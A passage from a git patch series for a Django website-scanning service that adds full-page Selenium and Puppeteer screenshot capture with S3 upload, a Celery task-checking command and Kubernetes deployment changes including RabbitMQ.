-    options.add_argument("--window-size=%s" % window_size)
+    options.add_argument("--force-device-scale-factor=1")
+    options.add_argument("--window-size=%s" % window_size) 
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 89f2970d..da7b3787 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -53,47 +53,6 @@ def __init__(self):
             jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js";
             document.getElementsByTagName('head')[0].appendChild(jq);
             """
-            )
-
-        
-        self.mask_function = (
-            """
-            (function($){
-                $.fn.overlayMask = function (action) {
-                    var mask = this.find('.overlay-mask');
-
-                    // Create the required mask
-
-                    if (!mask.length) {
-                    this.css({
-                        position: 'relative'
-                    });
-                    mask = $('<div class="overlay-mask"></div>');
-                    mask.css({
-                        position: 'absolute',
-                        width: '100%',
-                        height: '100%',
-                        color: 'green',
-                        backgroundColor: 'green',
-                        top: '0px',
-                        left: '0px',
-                        zIndex: 100,
-                    }).appendTo(this);
-                    }
-
-                    // Act based on params
-
-                    if (!action || action === 'show') {
-                    mask.show();
-                    } else if (action === 'hide') {
-                    mask.hide();
-                    }
-
-                    return this;
-                };
-                })(jQuery)
-            
-            """
         )
 
 
@@ -117,6 +76,8 @@ def check_timeout(self, timeout, start_time):
 
 
 
+
+
     def scan(self, scan, configs, driver=None,):
         """
         Grabs multiple screenshots of the website and uploads 
@@ -262,6 +223,158 @@ def scan(self, scan, configs, driver=None,):
 
 
 
+
+    def scan_full(self, scan, configs, driver=None,):
+        """
+        Grabs multiple screenshots of the website and uploads 
+        them to s3.
+        """
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # get page and site objs
+        site = scan.site
+        page = scan.page
+
+        # initialize driver if not passed as param
+        driver_present = True
+        if not driver:
+            driver = driver_init()
+            driver_present = False
+
+
+        # request page_url 
+        driver.get(page.page_url)
+
+        # waiting for network requests to resolve
+        driver_wait(
+            driver=driver, 
+            interval=int(configs.get('interval', 5)),  
+            min_wait_time=int(configs.get('min_wait_time', 10)),
+            max_wait_time=int(configs.get('max_wait_time', 30)),
+        )
+
+        # getting full_page_height
+        full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+        sizes = configs.get('window_size', '1920,1080').split(',')
+        driver.set_window_size(int(sizes[0]), int(full_page_height))
+
+
+        if configs.get('disable_animations') == True:
+            # inserting animation pausing script
+            try:
+                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+            except:
+                print('cannot pause animations')
+                
+            # inserting video pausing scripts
+            try:
+                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
+            except:
+                print('cannnot pause videos')
+
+        # mask all listed ids        
+        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
+            ids = configs.get('mask_ids').split(',')
+            for id in ids:
+                try:
+                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via id provided')
+
+        
+        # mask all Global mask ids that are active
+        active_masks = Mask.objects.filter(active=True)
+        if len(active_masks) != 0:
+            for mask in active_masks:
+                try:
+                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via global mask id provided')
+
+
+        # scroll one frame at a time and capture screenshot
+        image_array = []
+        index = 0
+        last_height = -1
+        bottom = False
+        start_time = datetime.now()
+        while not bottom:
+
+            # checking if maxed out time
+            if self.check_timeout(configs.get('timeout', 300), start_time):
+                break
+
+            # scroll single frame
+            if index != 0:
+                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
+                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
+                time.sleep(int(configs.get('min_wait_time', 10)))
+
+            # get current position and compare to previous
+            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
+            height_diff = new_height - last_height
+            if height_diff > 20:
+                last_height = new_height
+                pic_id = uuid.uuid4()
+                
+                # waiting for network requests to resolve
+                driver_wait(
+                    driver=driver, 
+                    interval=int(configs.get('interval', 5)),  
+                    min_wait_time=int(configs.get('min_wait_time', 10)),
+                    max_wait_time=int(configs.get('max_wait_time', 30)),
+                )
+
+                # get screenshot
+                driver.save_screenshot(f'{pic_id}.png')
+                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+                remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                image_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(image, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
+
+                # create image obj and add to list
+                img_obj = {
+                    "index": index,
+                    "id": str(pic_id),
+                    "url": image_url,
+                    "path": remote_path,
+                }
+
+                image_array.append(img_obj)
+
+                index += 1 
+            
+            else:
+                bottom = True
+
+        if not driver_present:
+            quit_driver(driver)
+
+        return image_array
+
+
+
+
+
+
+
     def _scan(self, scan, configs, driver=None,):
         """
         Grabs multiple screenshots of the website and uploads 
@@ -435,7 +548,6 @@ def add_images(im1, im2):
 
 
 
-
     async def scan_p(self, scan, configs):
         """
         Using Puppeteer, grabs multiple screenshots of the website and uploads 
@@ -566,7 +678,7 @@ def get_active_global_masks():
                 # interact with and wait for page to load
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
-                time.sleep(configs.get('min_wait_time', 10))
+                time.sleep(int(configs.get('min_wait_time', 10)))
                 
             
                 # get screenshot
@@ -610,6 +722,198 @@ def get_active_global_masks():
 
 
 
+    async def scan_p_full(self, scan, configs):
+        """
+        Using Puppeteer, grabs multiple screenshots of the website and uploads 
+        them to s3.
+        """
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # get page and site objs
+        @sync_to_async
+        def get_site():
+            site = scan.site
+            return site
+        
+        @sync_to_async
+        def get_page():
+            _page = scan.page
+            return _page
+
+        site = await get_site()
+        _page = await get_page()
+
+        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=int(configs.get('max_wait_time', 30)))
+        page = await driver.newPage()
+
+        sizes = configs.get('window_size', '1920,1080').split(',')
+        is_mobile = False
+        if configs.get('device') == 'mobile':
+            is_mobile = True
+        
+        page_options = {
+            'waitUntil': 'networkidle0', 
+            'timeout': int(configs.get('max_wait_time', 30))*1000
+        }
+
+        # requesting page_url to get height of 
+        await page.goto(_page.page_url, page_options)
+
+        # getting full_page_height
+        full_page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+
+        viewport = {
+            'width': int(sizes[0]),
+            'height': int(full_page_height),
+            'isMobile': is_mobile,
+        }
+        
+        userAgent = (
+            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
+        )
+        
+        emulate_options = {
+            'viewport': viewport,
+            'userAgent': userAgent
+        }
+
+        if configs.get('device') == 'mobile':
+            await page.emulate(emulate_options)
+        else:
+            await page.setViewport(viewport)
+
+        # requesting page_url
+        await page.goto(_page.page_url, page_options)
+
+        
+        if configs.get('disable_animations') == True:
+            # inserting animation pausing script
+            try:
+                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+            except:
+                print('cannot pause animations')
+
+            # pausing videos
+            try:
+                videos = await page.querySelectorAll('video')
+                for vid in videos:
+                    await page.evaluate('(vid) => vid.pause()', vid)
+            except Exception as e:
+                print(e)
+
+
+        # mask all listed ids
+        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
+            ids = configs.get('mask_ids').split(',')
+            for id in ids:
+                try:
+                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via id provided')
+
+
+        # mask all Global mask ids that are active
+        @sync_to_async
+        def get_active_global_masks():
+            masks = Mask.objects.filter(active=True)
+            active_masks = []
+            if len(masks) > 0:
+                for mask in masks:
+                    active_masks.append(mask.id)
+            return active_masks
+
+        active_masks = await get_active_global_masks()
+
+        for mask in active_masks:
+            try:
+                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
+                print('masked an element')
+            except:
+                print('cannot find element via global mask id provided')
+
+
+        # scroll one frame at a time and capture screenshot
+        image_array = []
+        index = 0
+        last_height = -1
+        bottom = False
+        start_time = datetime.now()
+        while not bottom:
+
+            # checking if maxed out time
+            if self.check_timeout(int(configs.get('timeout', 300)), start_time):
+                break
+
+            # scroll single frame
+            if index != 0:
+                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
+                time.sleep(int(configs.get('min_wait_time', 10)))
+
+            # get current position and compare to previous
+            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
+            height_diff = new_height - last_height
+            if height_diff > 20:
+                last_height = new_height
+                pic_id = uuid.uuid4()
+
+                # interact with and wait for page to load
+                await page.mouse.move(0, 0)
+                await page.mouse.move(0, 100)
+                time.sleep(int(configs.get('min_wait_time', 10)))
+                
+            
+                # get screenshot
+                await page.screenshot({'path': f'{pic_id}.png'})
+
+                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+                remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                image_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(image, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
+
+                # create image obj and add to list
+                img_obj = {
+                    "index": index,
+                    "id": str(pic_id),
+                    "url": image_url,
+                    "path": remote_path,
+                }
+
+                image_array.append(img_obj)
+
+                index += 1 
+            
+            else:
+                bottom = True
+
+        
+        await driver.close()
+
+        return image_array
+
+
+
+
+
+
+
+
 
 
     async def _scan_p(self, scan, configs):
@@ -751,7 +1055,7 @@ def add_images(im1, im2):
                 # interact with and wait for page to load
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
-                time.sleep(configs.get('min_wait_time', 10))
+                time.sleep(int(configs.get('min_wait_time', 10)))
                 
             
                 # get screenshot
@@ -1078,6 +1382,10 @@ def cv2_score(pre_img_array, post_img_array):
 
 
 
+
+
+
+
     def screenshot(self, site=None, url=None, configs=None, driver=None):
         """
         Grabs single screenshot of the website and uploads 
@@ -1228,7 +1536,7 @@ async def screenshot_p(self, site=None, url=None, configs=None):
         # interact with and wait for page to load
         await page.mouse.move(0, 0)
         await page.mouse.move(0, 100)
-        time.sleep(configs.get('min_wait_time', 10))
+        time.sleep(int(configs.get('min_wait_time', 10)))
 
         # get screenshot
         pic_id = uuid.uuid4()
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 8a784de1..bbd0746c 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -447,11 +447,11 @@ def _vrt(scan_id):
     try:
         if scan.configs['driver'] == 'selenium':
             driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Image().scan(scan=scan, driver=driver, configs=scan.configs)
+            images = Image().scan_full(scan=scan, driver=driver, configs=scan.configs)
             quit_driver(driver)
 
         if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Image().scan_p(scan=scan, configs=scan.configs))
+            images = asyncio.run(Image().scan_p_full(scan=scan, configs=scan.configs))
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 188b27bb..1d929b05 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -143,6 +143,8 @@ def create_site(request, delay=False):
                             )
                 else:
                     create_site_and_pages_bg.delay(site_id=site.id, configs=configs)
+                site.time_crawl_started = datetime.now()
+                site.time_crawl_completed = datetime.now()
                 site.info["latest_scan"]["time_created"] = str(datetime.now())
                 site.save()
 

From 7c22e00cf62903d78ec20e4d20b03d619f8dd570 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 20:29:37 -0500
Subject: [PATCH 0067/1099] added check_celery_tasks

---
 .../management/commands/check_celery_tasks.py | 30 +++++++++++++++++++
 k8s/prod/celery-deployment.yaml               |  8 +++--
 2 files changed, 36 insertions(+), 2 deletions(-)
 create mode 100644 app/api/management/commands/check_celery_tasks.py

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
new file mode 100644
index 00000000..b35d3d31
--- /dev/null
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -0,0 +1,30 @@
+from ....scanerr.celery import app 
+from django.core.management.base import BaseCommand
+import time
+
+# checking if celery tasks have completed running
+
+class Command(BaseCommand):
+
+    def handle(self, *args, **options):
+
+        def get_task_list():
+            # Inspect all nodes.
+            i = app.control.inspect()
+            # Tasks received, but are still waiting to be executed.
+            reserved = i.reserved()
+            print(f'Reserved tasks -> {str(reserved)}')
+            # Active tasks
+            active = i.active()
+            print(f'Active tasks -> {str(reserved)}')
+            tasks = len(active) + len(reserved)
+        
+        # get length of active and reserved task lists
+        tasks = get_task_list()
+
+        # waiting for tasks to complete
+        while tasks > 0:
+            time.sleep(10)
+            tasks = get_task_list()
+
+        
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index c70b72eb..02ddadcd 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,11 +14,12 @@ spec:
       labels:
         app: celery-deployment
     spec:
+      terminationGracePeriodSeconds: 1200
       imagePullSecrets:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
+          image: <IMAGE> # landonr/scanerr-server:c6f563e #
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -31,4 +32,7 @@ spec:
             requests:
               cpu: "1"
               memory: "1Gi"
-
+          lifecycle:
+            preStop:
+              exec:
+                command: ["python3 manage.py check_celery_tasks.py"]
\ No newline at end of file

From 61e172cc2b354beb8c90ae1b7cdb3026fb5b7bd6 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 21:50:07 -0500
Subject: [PATCH 0068/1099] testing

---
 app/api/management/commands/check_celery_tasks.py | 2 +-
 k8s/prod/app-deployment.yaml                      | 3 ++-
 k8s/prod/celery-deployment.yaml                   | 2 +-
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index b35d3d31..117642fd 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -1,4 +1,4 @@
-from ....scanerr.celery import app 
+from ...scanerr.celery import app
 from django.core.management.base import BaseCommand
 import time
 
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5e213d38..5579723f 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
+          image: <IMAGE> # landonr/scanerr-server:8f7f90d # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -33,6 +33,7 @@ spec:
                 python3 manage.py create_admin &&
                 python3 manage.py driver_s_test &&
                 python3 manage.py driver_p_test &&
+                python3 manage.py check_celery_tasks &&
                 gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
           envFrom:
             - configMapRef:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 02ddadcd..01ea4856 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -35,4 +35,4 @@ spec:
           lifecycle:
             preStop:
               exec:
-                command: ["python3 manage.py check_celery_tasks.py"]
\ No newline at end of file
+                command: ["python3 manage.py check_celery_tasks"]
\ No newline at end of file

From caa9d27cd7803e70f8d84672e99e46c17c457b52 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 21:54:15 -0500
Subject: [PATCH 0069/1099] testing task checker

---
 app/api/management/commands/check_celery_tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index 117642fd..3056d071 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -1,4 +1,4 @@
-from ...scanerr.celery import app
+from scanerr import celery
 from django.core.management.base import BaseCommand
 import time
 
@@ -10,7 +10,7 @@ def handle(self, *args, **options):
 
         def get_task_list():
             # Inspect all nodes.
-            i = app.control.inspect()
+            i = celery.app.control.inspect()
             # Tasks received, but are still waiting to be executed.
             reserved = i.reserved()
             print(f'Reserved tasks -> {str(reserved)}')

From bad1bf2d698805012d73c17ca0490c5d213abd16 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 22:47:49 -0500
Subject: [PATCH 0070/1099] added pod_name var

---
 app/api/management/commands/check_celery_tasks.py |  8 +++++---
 k8s/prod/app-deployment.yaml                      | 12 +++++++++---
 k8s/prod/celery-deployment.yaml                   |  5 +++++
 3 files changed, 19 insertions(+), 6 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index 3056d071..57221864 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -1,6 +1,6 @@
 from scanerr import celery
 from django.core.management.base import BaseCommand
-import time
+import time, os
 
 # checking if celery tasks have completed running
 
@@ -8,14 +8,16 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
 
+        this_pod = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
+
         def get_task_list():
             # Inspect all nodes.
             i = celery.app.control.inspect()
             # Tasks received, but are still waiting to be executed.
-            reserved = i.reserved()
+            reserved = i.reserved()[this_pod]
             print(f'Reserved tasks -> {str(reserved)}')
             # Active tasks
-            active = i.active()
+            active = i.active()[this_pod]
             print(f'Active tasks -> {str(reserved)}')
             tasks = len(active) + len(reserved)
         
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5579723f..7a41f6b4 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:8f7f90d # 
+          image: <IMAGE> # landonr/scanerr-server:1e6dca5 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -33,11 +33,17 @@ spec:
                 python3 manage.py create_admin &&
                 python3 manage.py driver_s_test &&
                 python3 manage.py driver_p_test &&
-                python3 manage.py check_celery_tasks &&
+                printenv THIS_POD_NAME &&
                 gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+            
           envFrom:
             - configMapRef:
                 name: app-configs
+          env:
+            - name: THIS_POD_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.name
           resources:
             limits:
               cpu: "2"
@@ -46,7 +52,7 @@ spec:
               cpu: "1"
               memory: "1Gi"
       #     volumeMounts:
-      #      - mountPath: "/app/api/migrations"
+      #      - mountPath: "/app/api/migrations" python3 manage.py check_celery_tasks &&
       #        name: app-volume
       # volumes:
       #   - name: app-volume
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 01ea4856..81c30629 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -25,6 +25,11 @@ spec:
           envFrom:
             - configMapRef:
                 name: app-configs
+          env:
+            - name: THIS_POD_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.name
           resources:
             limits:
               cpu: "2"

From 56560a7413cb8fa7e0d32d756dca84e7009eceb2 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 10:38:20 -0500
Subject: [PATCH 0071/1099] testing celery with rabbitmq

---
 app/scanerr/settings.py           |  5 ++--
 k8s/kubernetes-notes.md           |  2 ++
 k8s/prod/app-deployment.yaml      |  9 -------
 k8s/prod/celery-deployment.yaml   |  2 +-
 k8s/prod/rabbitmq-deployment.yaml | 40 +++++++++++++++++++++++++++++++
 5 files changed, 46 insertions(+), 12 deletions(-)
 create mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 2afb3663..3c0f0744 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,10 +191,11 @@
 
 
 # Redis and Celery Conf
-CELERY_BROKER_URL = "redis://redis:6379"
-CELERY_RESULT_BACKEND = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
+CELERY_BROKER_URL = "amqp://rabbitmq"
 # CELERY_BROKER_URL = "rpc://rabbitmq:5672"
 # CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 6625052e..4eacd4a2 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,6 +109,8 @@ kubectl port-forward service/app-service 8000:8000
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
+- 
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 7a41f6b4..17d8ccd1 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -33,7 +33,6 @@ spec:
                 python3 manage.py create_admin &&
                 python3 manage.py driver_s_test &&
                 python3 manage.py driver_p_test &&
-                printenv THIS_POD_NAME &&
                 gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
             
           envFrom:
@@ -51,14 +50,6 @@ spec:
             requests:
               cpu: "1"
               memory: "1Gi"
-      #     volumeMounts:
-      #      - mountPath: "/app/api/migrations" python3 manage.py check_celery_tasks &&
-      #        name: app-volume
-      # volumes:
-      #   - name: app-volume
-      #     persistentVolumeClaim:
-      #      claimName: app-pvc
-
 ---
 
 apiVersion: v1
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 81c30629..be898dca 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,7 +14,7 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 1200
+      terminationGracePeriodSeconds: 2000
       imagePullSecrets:
         - name: regcred
       containers:
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
new file mode 100644
index 00000000..1ff9e5b9
--- /dev/null
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -0,0 +1,40 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: rabbitmq
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      name: rabbitmq
+  template:
+    metadata:
+      labels:
+        name: rabbitmq
+    spec:
+      containers:
+        - name: rabbitmq
+          image: rabbitmq:alpine
+          ports:
+          - containerPort: 5672
+          resources: 
+            limits:
+              cpu: "250m"
+              memory: "250Mi"
+            requests:
+              cpu: "100m"
+              memory: "100Mi"
+
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: rabbitmq
+  labels:
+    app: rabbitmq
+spec:
+  type: ClusterIP
+  ports:
+  - port: 5672
+  selector:
+    name: rabbitmq

From 8cba017904da6e1783828f32014a161faea67317 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 17:48:47 -0500
Subject: [PATCH 0072/1099] adding celery task endpoint

---
 app/api/v1/auth/urls.py    |  1 -
 app/api/v1/ops/services.py | 29 ++++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 14 +++++++++++++-
 4 files changed, 42 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index f4a377a9..c0a4adf5 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -31,5 +31,4 @@
     path('account/<uuid:id>/members', views.AccountMembers.as_view(), name='account-members'),
     path('member', views.Member.as_view(), name='member'),
     path('member/<uuid:id>', views.Member.as_view(), name='member-detail'),
-
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1d929b05..2b8ac586 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,10 +1,11 @@
-import json, boto3, asyncio
+import json, boto3, asyncio, os
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from ...models import *
 from rest_framework.response import Response
 from rest_framework import status
+from scanerr import celery
 from .serializers import *
 from ...tasks import *
 from rest_framework.pagination import LimitOffsetPagination
@@ -2838,3 +2839,29 @@ def get_site_stats(request):
     return response
 
 
+
+
+
+def get_celery_task_length(request):
+
+    # Inspect all nodes.
+    i = celery.app.control.inspect()
+    # Tasks received, but are still waiting to be executed.
+    reserved = i.reserved()
+    # Active tasks
+    active = i.active()
+    
+    # init task counter
+    all_tasks = 0
+
+    # loop through all reserved & active tasks and
+    # add length of array (tasks) to total
+    for replica in reserved:
+        all_tasks += len(reserved[replica])
+    for replica in active:
+        all_tasks += reserved[replica]
+
+    # return response
+    data = {str(all_tasks)}
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
\ No newline at end of file
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 2178fc87..fbfb7322 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -45,4 +45,5 @@
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
     path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
     path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'),
+    path('metrics/celery/tasks', views.CeleryTasks.as_view(), name='celery-tasks'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 61db54ac..c978522c 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -637,4 +637,16 @@ class SiteScreenshot(APIView):
     
     def post(self, request):
         response = create_site_screenshot(request)
-        return response
\ No newline at end of file
+        return response
+
+
+
+class CeleryTasks(APIView):
+    authentication_classes = []
